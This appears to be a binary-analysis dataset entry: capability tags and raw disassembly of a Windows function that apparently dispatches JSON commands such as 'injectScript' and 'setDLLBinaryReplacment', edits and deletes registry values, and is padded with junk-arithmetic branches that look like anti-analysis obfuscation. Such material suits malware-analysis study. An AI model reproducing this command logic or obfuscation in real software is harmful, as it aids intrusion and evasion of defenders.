Function at 0x140062760
Capabilities:
Check for time delay via gettickcount
Create http request
Delete registry key
Delete registry value
Get disk size
Query or enumerate registry key
Query or enumerate registry value
Set registry value

Disassembly:
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x3c70
call fcn.1400d3380
sub rsp, rax
mov qword [rsp + 0xe80], 0xfffffffffffffffe
movaps xmmword [rsp + 0x3c60], xmm6
mov rax, qword [0x1401bce90]
xor rax, rsp
mov qword [rsp + 0x3c50], rax
mov rsi, r8
mov r13, rdx
mov qword [rsp + 0x40], rdx
mov r14, rcx
mov qword [rsp + 0x858], rcx
mov qword [rsp + 0x3b0], rcx
mov qword [rsp + 0x228], rdx
mov qword [rsp + 0x298], r8
mov ecx, dword [0x1401c4d60]
imul ecx, ecx
mov eax, 0x38e38e39
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*8]
add eax, eax
sub ecx, eax
cmp ecx, 0xb
jne 0x1400627f9
dec dword [0x1401c67cc]
xor bl, bl
mov byte [rsp + 0x7a], bl
xor edx, edx
lea rcx, [rsp + 0x58]
call fcn.140038310
nop
lea rcx, [rsp + 0x3730]
call fcn.140033590
nop
mov rdx, qword [r13]
mov qword [rsp + 0xe50], rdx
lea rcx, [rsp + 0x70]
call fcn.14001a410
nop
mov rdx, qword [rsp + 0x70]
lea rax, [rdx - 0x18]
mov qword [rsp + 0xe60], rax
cmp dword [rax + 0x10], 1
jle 0x14006285a
mov edx, dword [rax + 8]
lea rcx, [rsp + 0x70]
call fcn.14001af50
mov rdx, qword [rsp + 0x70]
xor edi, edi
mov qword [rsp + 0x35f0], rdi
mov qword [rsp + 0x35f8], rdi
mov qword [rsp + 0x35f8], 0xf
mov qword [rsp + 0x35f0], rdi
mov byte [rsp + 0x35e0], dil
or r15, 0xffffffffffffffff
cmp byte [rdx], dil
jne 0x140062896
mov r8d, edi
jmp 0x1400628a9
mov r8, r15
nop dword [rax]
inc r8
cmp byte [rdx + r8], dil
jne 0x1400628a0
lea rcx, [rsp + 0x35e0]
call fcn.1400013f0
nop
lea r8, [rsp + 0x58]
lea rdx, [rsp + 0x35e0]
lea rcx, [rsp + 0x3730]
call fcn.140033640
test al, al
jne 0x1400629be
lea rdx, str.json_parse_error
lea rcx, [rsp + 0x278]
call fcn.140003170
nop
lea rdx, [rsp + 0x278]
mov rcx, qword [r14 + 0x40]
call fcn.14005d1c0
nop
mov rcx, qword [rsp + 0x278]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x838], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140062932
mov rdx, qword [rsp + 0x838]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x35f8], 0x10
jb 0x14006294a
mov rcx, qword [rsp + 0x35e0]
call fcn.1400ce2b0
mov qword [rsp + 0x35f8], 0xf
mov qword [rsp + 0x35f0], rdi
mov byte [rsp + 0x35e0], 0
mov rcx, qword [rsp + 0x70]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4f8], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140062995
mov rdx, qword [rsp + 0x4f8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x3730]
call fcn.140019070
nop
lea rcx, [rsp + 0x58]
call fcn.140038680
nop
mov r12d, 1
mov r13, qword [rsp + 0x40]
jmp 0x140067cdb
cmp byte [rsp + 0x60], 0
jne 0x140062aae
lea rdx, str.json_parse_error
lea rcx, [rsp + 0x328]
call fcn.140003170
nop
lea rdx, [rsp + 0x328]
mov rcx, qword [r14 + 0x40]
call fcn.14005d1c0
nop
mov rcx, qword [rsp + 0x328]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x6b8], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140062a22
mov rdx, qword [rsp + 0x6b8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x35f8], 0x10
jb 0x140062a3a
mov rcx, qword [rsp + 0x35e0]
call fcn.1400ce2b0
mov qword [rsp + 0x35f8], 0xf
mov qword [rsp + 0x35f0], rdi
mov byte [rsp + 0x35e0], 0
mov rcx, qword [rsp + 0x70]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x508], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140062a85
mov rdx, qword [rsp + 0x508]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x3730]
call fcn.140019070
nop
lea rcx, [rsp + 0x58]
call fcn.140038680
nop
mov r12d, 1
mov r13, qword [rsp + 0x40]
jmp 0x140067cdb
lea rdx, str.action
lea rcx, [rsp + 0x58]
call fcn.1400392c0
mov qword [rsp + 0xe70], rax
lea r12, [0x1401c5be8]
cmp rax, r12
je 0x140067bd8
lea rdx, str.action
lea rcx, [rsp + 0x58]
call fcn.1400390c0
mov qword [rsp + 0x870], rax
cmp byte [rax + 8], 4
jne 0x140067bd8
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.1400392c0
lea rdx, str.action
lea rcx, [rsp + 0x58]
call fcn.1400390c0
mov qword [rsp + 0xe90], rax
mov rdx, qword [rax]
mov qword [rsp + 0xea0], rdx
lea rcx, [rsp + 0x48]
call fcn.140003170
nop
mov rax, qword [rsp + 0x48]
lea r8, str.injectScript
mov rdx, r15
nop dword [rax]
movzx ecx, word [rax + rdx*2 + 2]
cmp cx, word [r8 + rdx*2 + 2]
jne 0x140062b78
add rdx, 2
cmp rdx, 0xd
je 0x140062b74
movzx ecx, word [rax + rdx*2]
cmp cx, word [r8 + rdx*2]
jne 0x140062b78
jmp 0x140062b50
mov ecx, edi
jmp 0x140062b7d
sbb ecx, ecx
or ecx, 1
mov dword [rsp + 0x850], ecx
test ecx, ecx
jne 0x14006377d
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.1400390c0
mov qword [rsp + 0xc98], rax
lea rdx, str.codeMessage
mov rcx, rax
call fcn.1400390c0
mov qword [rsp + 0x888], rax
cmp byte [rax + 8], 4
jne 0x140067b8f
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.1400390c0
mov qword [rsp + 0xea8], rax
lea rdx, str.codeMessage
mov rcx, rax
call fcn.1400390c0
mov qword [rsp + 0x898], rax
mov rdx, qword [rax]
mov qword [rsp + 0xca8], rdx
lea rcx, [rsp + 0x88]
call fcn.140003170
nop
mov rax, qword [rsp + 0x88]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x860], eax
cdq
sub eax, edx
sar eax, 1
movsxd rcx, eax
call fcn.1400ced40
mov r12, rax
mov qword [rsp + 0x148], rax
test rax, rax
je 0x14006367d
mov r8, rax
lea rdx, [rsp + 0x88]
call fcn.140067d30
test al, al
je 0x14006367d
mov r8d, dword [0x1401c4d60]
lea ecx, [r8 + 1]
imul ecx, r8d
mov eax, 0x2aaaaaab
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 3
sub ecx, eax
cmp ecx, 7
jne 0x140062cca
mov eax, 0x51eb851f
imul r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x64
sub r8d, edx
add r8d, 0x7b
movsxd rcx, r8d
mov eax, 4
mul rcx
cmovo rax, r15
mov rcx, rax
call fcn.1400cd918
mov qword [rsp + 0x8a8], rax
mov rcx, rax
call fcn.1400cf37c
mov rbx, qword [r14 + 0x40]
add rbx, 0x1b0
mov qword [rsp + 0xf88], rbx
mov rcx, qword [rbx]
mov qword [rsp + 0x8b8], rcx
mov edx, 0x5c
call fcn.1400d0bb8
mov rcx, rax
mov qword [rsp + 0xcb8], rax
test rax, rax
jne 0x140062d07
mov ecx, r15d
jmp 0x140062d18
mov rax, qword [rbx]
mov qword [rsp + 0x8c8], rax
sub rcx, rax
sar rcx, 1
lea r8d, [rcx + 1]
mov rcx, qword [r14 + 0x40]
add rcx, 0x1b0
lea rdx, [rsp + 0x100]
call fcn.140027d30
nop
mov edx, dword [0x1401c4d60]
lea r8d, [rdx + 2]
lea ecx, [rdx + 1]
imul r8d, ecx
imul r8d, edx
mov eax, 0x2aaaaaab
imul r8d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 3
sub r8d, eax
cmp r8d, 2
jne 0x140062d80
mov dword [rsp + 0x10c8], edi
mov dword [rsp + 0x1100], edi
mov dword [rsp + 0x1140], edi
mov rax, qword [r14 + 0x40]
add rax, 0x1b0
mov qword [rsp + 0xec8], rax
mov rcx, qword [rax]
sub rcx, 0x18
mov qword [rsp + 0x8d8], rcx
call fcn.140002400
mov qword [rsp + 0xcc8], rax
lea rbx, [rax + 0x18]
mov qword [rsp + 0x6f8], rbx
lea rax, [rsp + 0xf8]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
mov rdx, rbx
mov rcx, qword [r14 + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [rsp + 0x15c], eax
test eax, eax
je 0x140062f4a
test rsi, rsi
je 0x140062dff
mov r14d, 0xb
mov word [rsi], r14w
mov word [rsi + 8], di
add rbx, 0xffffffffffffffe8
mov qword [rsp + 0x798], rbx
mov eax, r15d
lock xadd dword [rbx + 0x10], eax
dec eax
jg 0x140062e29
mov rdx, qword [rsp + 0x798]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x100]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x518], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140062e5b
mov rdx, qword [rsp + 0x518]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x88]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x6c8], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140062e8d
mov rdx, qword [rsp + 0x6c8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x48]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x528], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140062ebc
mov rdx, qword [rsp + 0x528]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x35f8], 0x10
jb 0x140062ed4
mov rcx, qword [rsp + 0x35e0]
call fcn.1400ce2b0
mov qword [rsp + 0x35f8], 0xf
mov qword [rsp + 0x35f0], rdi
mov byte [rsp + 0x35e0], 0
mov rcx, qword [rsp + 0x70]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x808], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140062f1f
mov rdx, qword [rsp + 0x808]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x3730]
call fcn.140019070
nop
lea rcx, [rsp + 0x58]
call fcn.140038680
nop
xor bl, bl
mov r12d, 1
mov r13, qword [rsp + 0x40]
jmp 0x140067cdb
mov r13, qword [r14 + 0x40]
add r13, 0x2c8
mov qword [rsp + 0x168], r13
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.1400390c0
mov qword [rsp + 0x8e8], rax
lea rdx, str.forceOverwrite
mov rcx, rax
call fcn.1400392c0
mov qword [rsp + 0xf98], rax
lea rcx, [0x1401c5be8]
cmp rax, rcx
je 0x140063358
lea rcx, [0x1401bc9a8]
mov rax, qword [0x1401bc9a8]
call qword [rax + 0x18]
mov qword [rsp + 0x8f8], rax
lea rbx, [rax + 0x18]
mov qword [rsp + 0x110], rbx
mov dword [rsp + 0xec], edi
mov eax, dword [0x1401c4d60]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, 0x66666667
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
shl eax, 2
sub ecx, eax
cmp ecx, 0xb
jne 0x14006301a
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
mov r14d, edi
mov dword [rsp + 0xb4], edi
call fcn.1400622b0
test al, al
jne 0x140063033
inc dword [0x1401c4d60]
mov r12d, 1
nop dword [rax]
cmp dword [rsp + 0xec], 0
jne 0x140063317
mov dword [rsp + 0x1d0], 0x7ffe
lea rax, [rbx - 0x18]
mov qword [rsp + 0xcd8], rax
mov ecx, r12d
sub ecx, dword [rax + 0x10]
mov dword [rsp + 0x588], ecx
mov eax, dword [rax + 0xc]
sub eax, 0x7ffe
mov dword [rsp + 0x678], eax
or eax, ecx
jge 0x14006309f
mov edx, 0x7ffe
lea rcx, [rsp + 0x110]
call fcn.1400023a0
mov rbx, qword [rsp + 0x110]
cmp dword [rbx - 0xc], 0x7ffe
jge 0x1400630b2
mov ecx, 0x80070057
call fcn.140001920
mov dword [rbx - 0x10], 0x7ffe
mov word [rbx + 0xfffc], di
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
lea r9, [rsp + 0x1d0]
mov r8, rbx
mov edx, r14d
mov rcx, qword [rsp + 0xf8]
call qword [sym.imp.ADVAPI32.dll_RegEnumValueW]
mov dword [rsp + 0xec], eax
movsxd rax, dword [rbx - 0xc]
mov dword [rsp + 0x488], eax
mov rdx, rax
mov rcx, rbx
call fcn.1400cedf8
mov dword [rsp + 0x778], eax
test eax, eax
js 0x14006330d
cmp eax, dword [rbx - 0xc]
jg 0x14006330d
mov dword [rbx - 0x10], eax
cdqe
mov word [rbx + rax*2], di
mov dword [r13], edi
lea r8, str._data
lea rdx, [rsp + 0x100]
lea rcx, [rsp + 0x538]
call fcn.14001a720
mov qword [rsp + 0x908], rax
mov rdx, qword [rax]
mov qword [rsp + 0xee8], rdx
test rdx, rdx
jne 0x14006316b
mov eax, r15d
jmp 0x14006319e
mov eax, dword [rbx - 0x10]
mov dword [rsp + 0x498], eax
test eax, eax
jns 0x14006317e
mov eax, r15d
jmp 0x14006319e
mov rcx, rbx
call fcn.1400cefc8
mov qword [rsp + 0x918], rax
test rax, rax
jne 0x140063198
mov eax, r15d
jmp 0x14006319e
sub rax, rbx
sar rax, 1
mov dword [rsp + 0x9c], eax
cmp eax, 0xffffffff
setne byte [rsp + 0x7b]
mov rcx, qword [rsp + 0x538]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x6d8], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400631de
mov rdx, qword [rsp + 0x6d8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
cmp byte [rsp + 0x7b], 0
je 0x1400632e5
mov r8d, dword [0x1401c4d60]
lea ecx, [r8 + 1]
imul ecx, r8d
mov eax, 0x66666667
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
shl eax, 2
sub ecx, eax
cmp ecx, 0xb
jne 0x140063230
lea edx, [rcx + 0x58]
lea r8d, [rcx + 0x59]
lea rcx, str._d__d_n
call fcn.1400cf1dc
mov r8d, dword [0x1401c4d60]
mov r14d, edi
mov dword [rsp + 0xb4], edi
imul r8d, r8d
mov eax, 0x66666667
imul r8d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
add eax, eax
sub r8d, eax
cmp r8d, 2
jne 0x140063264
dec dword [0x1401c67b4]
mov rbx, qword [rsp + 0x110]
mov rdx, rbx
mov rcx, qword [rsp + 0xf8]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov dword [rsp + 0x15c], eax
test eax, eax
je 0x140063300
mov ecx, dword [0x1401c4d60]
lea r8d, [rcx + 2]
lea eax, [rcx + 1]
imul r8d, eax
imul r8d, ecx
mov eax, 0x30c30c31
imul r8d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x15
sub r8d, edx
cmp r8d, 1
jne 0x1400632d0
mov dword [rsp + 0x1040], edi
mov dword [rsp + 0x1068], edi
mov dword [rsp + 0x1098], edi
mov r14d, 0xb
test rsi, rsi
je 0x14006331d
mov word [rsi], r14w
mov word [rsi + 8], di
jmp 0x14006331d
mov r14d, dword [rsp + 0xb4]
inc r14d
mov dword [rsp + 0xb4], r14d
mov rbx, qword [rsp + 0x110]
mov r13, qword [rsp + 0x168]
jmp 0x140063040
mov ecx, 0x80070057
call fcn.140001920
mov r14d, 0xb
add rbx, 0xffffffffffffffe8
mov qword [rsp + 0x548], rbx
mov eax, r15d
lock xadd dword [rbx + 0x10], eax
dec eax
jg 0x140063346
mov rdx, qword [rsp + 0x548]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov r12, qword [rsp + 0x148]
mov r13, qword [rsp + 0x168]
jmp 0x14006335e
mov r14d, 0xb
mov rax, qword [rsp + 0x88]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x688], eax
cdq
sub eax, edx
sar eax, 1
mov r8d, eax
mov rdx, r12
mov rcx, r12
call fcn.140062690
mov edx, dword [r13]
lea eax, [rdx + 1]
mov dword [r13], eax
lea rcx, [rsp + 0x3690]
call fcn.140062170
mov qword [rsp + 0xce8], rax
cmp qword [rax + 0x18], 0x10
jb 0x1400633ad
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x6e8]
call fcn.140003170
mov rbx, rax
lea r8, str._data
lea rdx, [rsp + 0x100]
lea rcx, [rsp + 0x7a8]
call fcn.14001a720
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x288]
call fcn.14000f690
nop
mov rcx, qword [rsp + 0x7a8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x558], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140063423
mov rdx, qword [rsp + 0x558]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x6e8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x568], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140063455
mov rdx, qword [rsp + 0x568]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x36a8], 0x10
jb 0x14006346d
mov rcx, qword [rsp + 0x3690]
call fcn.1400ce2b0
mov qword [rsp + 0x36a8], 0xf
mov qword [rsp + 0x36a0], rdi
mov byte [rsp + 0x3690], 0
mov eax, dword [0x1401c4d60]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, 0x66666667
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
shl eax, 2
sub ecx, eax
cmp ecx, 9
jne 0x1400634d7
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov ecx, dword [0x1401c4d60]
mov edx, 7
test rax, rax
cmove ecx, edx
mov dword [0x1401c4d60], ecx
mov rdi, qword [rsp + 0x148]
xor al, al
jne 0x140063522
mov rax, qword [rsp + 0x88]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x4a8], eax
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 3
xor r8d, r8d
mov rdx, qword [rsp + 0x288]
mov rcx, qword [rsp + 0xf8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
lea r8, [rsp + 0xf8]
lea rdx, [rsp + 0x100]
mov rbx, qword [rsp + 0x858]
mov rcx, rbx
call fcn.140067ee0
mov ecx, dword [0x1401c4d60]
lea r8d, [rcx + 2]
lea eax, [rcx + 1]
imul r8d, eax
imul r8d, ecx
mov eax, 0x30c30c31
imul r8d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x15
sub r8d, edx
cmp r8d, 0xd
jne 0x14006357b
dec dword [0x1401c6760]
mov rcx, rdi
call fcn.1400cecbc
mov rcx, qword [rsp + 0xf8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test rsi, rsi
je 0x14006359f
mov word [rsi], r14w
mov word [rsi + 8], r15w
mov rax, qword [rbx + 0x40]
cmp dword [rax + 0x2d0], 3
jne 0x1400635b6
mov dword [rax + 0x2d0], 4
mov rcx, qword [rsp + 0x288]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x578], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400635e8
mov rdx, qword [rsp + 0x578]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x6f8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x400], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006361a
mov rdx, qword [rsp + 0x400]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x100]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x7b8], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006364c
mov rdx, qword [rsp + 0x7b8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x88]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x598], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140067b8f
mov rdx, qword [rsp + 0x598]
jmp 0x140067b86
test rsi, rsi
je 0x140063690
mov r14d, 0xb
mov word [rsi], r14w
mov word [rsi + 8], di
mov rcx, qword [rsp + 0x88]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x708], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400636c2
mov rdx, qword [rsp + 0x708]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x48]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5a8], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400636f1
mov rdx, qword [rsp + 0x5a8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x35f8], 0x10
jb 0x140063709
mov rcx, qword [rsp + 0x35e0]
call fcn.1400ce2b0
mov qword [rsp + 0x35f8], 0xf
mov qword [rsp + 0x35f0], rdi
mov byte [rsp + 0x35e0], 0
mov rcx, qword [rsp + 0x70]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x818], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140063754
mov rdx, qword [rsp + 0x818]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x3730]
call fcn.140019070
nop
lea rcx, [rsp + 0x58]
call fcn.140038680
nop
mov r12d, 1
mov r13, qword [rsp + 0x40]
jmp 0x140067cdb
lea r8, str.setDLLBinaryReplacment
mov rdx, r15
nop word [rax + rax]
movzx ecx, word [rax + rdx*2 + 2]
cmp cx, word [r8 + rdx*2 + 2]
jne 0x1400637b8
add rdx, 2
cmp rdx, 0x17
je 0x1400637b4
movzx ecx, word [rax + rdx*2]
cmp cx, word [r8 + rdx*2]
jne 0x1400637b8
jmp 0x140063790
mov eax, edi
jmp 0x1400637bd
sbb eax, eax
or eax, 1
mov dword [rsp + 0x7f8], eax
test eax, eax
jne 0x1400646cd
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.1400390c0
mov qword [rsp + 0x928], rax
lea rdx, str.from
mov rcx, rax
call fcn.1400390c0
mov qword [rsp + 0xfa8], rax
cmp byte [rax + 8], 4
jne 0x140067b8f
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.1400390c0
mov qword [rsp + 0x938], rax
lea rdx, [0x14015350c]
mov rcx, rax
call fcn.1400390c0
mov qword [rsp + 0xcf8], rax
cmp byte [rax + 8], 4
jne 0x140067b8f
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.1400390c0
mov qword [rsp + 0x948], rax
lea rdx, str.offset
mov rcx, rax
call fcn.1400390c0
mov qword [rsp + 0xf08], rax
cmp byte [rax + 8], 1
jne 0x140067b8f
mov r8d, dword [0x1401c4d60]
lea ecx, [r8 + 2]
lea eax, [r8 + 1]
imul ecx, eax
imul ecx, r8d
mov eax, 0x2e8ba2e9
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x16
sub ecx, edx
cmp ecx, 3
jne 0x140063954
mov r9d, edi
mov dword [rsp + 0x258], edi
nop dword [rax]
test r8d, r8d
je 0x140063954
inc r9d
mov dword [rsp + 0x258], r9d
mov eax, r8d
and eax, 0x80000001
jge 0x1400638e5
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x1400638fc
mov eax, r8d
cdq
sub eax, edx
sar eax, 1
mov r8d, eax
mov dword [0x1401c4d60], eax
jmp 0x14006390b
lea r8d, [r8*2 + 1]
mov dword [0x1401c4d60], r8d
mov eax, 0x55555556
imul r8d
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
mov ecx, r8d
sub ecx, eax
je 0x14006392f
sub ecx, 2
je 0x14006393a
dec ecx
je 0x140063944
jmp 0x14006394f
add r8d, 2
mov dword [0x1401c4d60], r8d
inc r8d
mov dword [0x1401c4d60], r8d
add r8d, 2
mov dword [0x1401c4d60], r8d
jmp 0x1400638c0
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.1400390c0
mov qword [rsp + 0x958], rax
lea rdx, str.from
mov rcx, rax
call fcn.1400390c0
mov qword [rsp + 0xd08], rax
mov rdx, qword [rax]
mov qword [rsp + 0x968], rdx
lea rcx, [rsp + 0x80]
call fcn.140003170
nop
mov eax, dword [0x1401c4d60]
mov ecx, eax
imul ecx, eax
imul ecx, eax
and ecx, 0x80000007
jge 0x1400639ba
dec ecx
or ecx, 0xfffffff8
inc ecx
cmp ecx, 2
jne 0x1400639d9
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.1400390c0
mov qword [rsp + 0xfb8], rax
lea rdx, [0x14015350c]
mov rcx, rax
call fcn.1400390c0
mov qword [rsp + 0x978], rax
mov rdx, qword [rax]
mov qword [rsp + 0xd18], rdx
lea rcx, [rsp + 0x90]
call fcn.140003170
nop
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.1400390c0
mov qword [rsp + 0x988], rax
lea rdx, str.offset
mov rcx, rax
call fcn.1400390c0
mov qword [rsp + 0xf28], rax
mov rcx, rax
call fcn.1400388f0
mov dword [rsp + 0x220], eax
mov rax, qword [rsp + 0x80]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x4b8], eax
cdq
sub eax, edx
sar eax, 1
movsxd rcx, eax
call fcn.1400ced40
mov qword [rsp + 0x2a0], rax
mov ebx, dword [0x1401c4d60]
lea ecx, [rbx + 2]
lea eax, [rbx + 1]
imul ecx, eax
imul ecx, ebx
mov eax, 0x2e8ba2e9
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x16
sub ecx, edx
mov r12d, 1
cmp ecx, 3
jne 0x140063b15
mov edx, r12d
mov dword [rsp + 0x164], edx
mov ebx, r12d
mov dword [rsp + 0x1e0], ebx
mov ecx, 0x3f
mov dword [rsp + 0x170], ecx
mov dword [0x1401c4d60], edi
lea eax, [rcx - 2]
test eax, eax
js 0x140063b0f
lea eax, [rbx + rdx]
mov dword [rsp + 0x698], eax
mov edx, ebx
mov dword [rsp + 0x164], ebx
mov ebx, eax
mov dword [rsp + 0x1e0], eax
dec ecx
mov dword [rsp + 0x170], ecx
jmp 0x140063ae1
mov dword [0x1401c4d60], ebx
mov rax, qword [rsp + 0x90]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x4c8], eax
cdq
sub eax, edx
sar eax, 1
movsxd rcx, eax
call fcn.1400ced40
mov r13, rax
mov qword [rsp + 0x618], rax
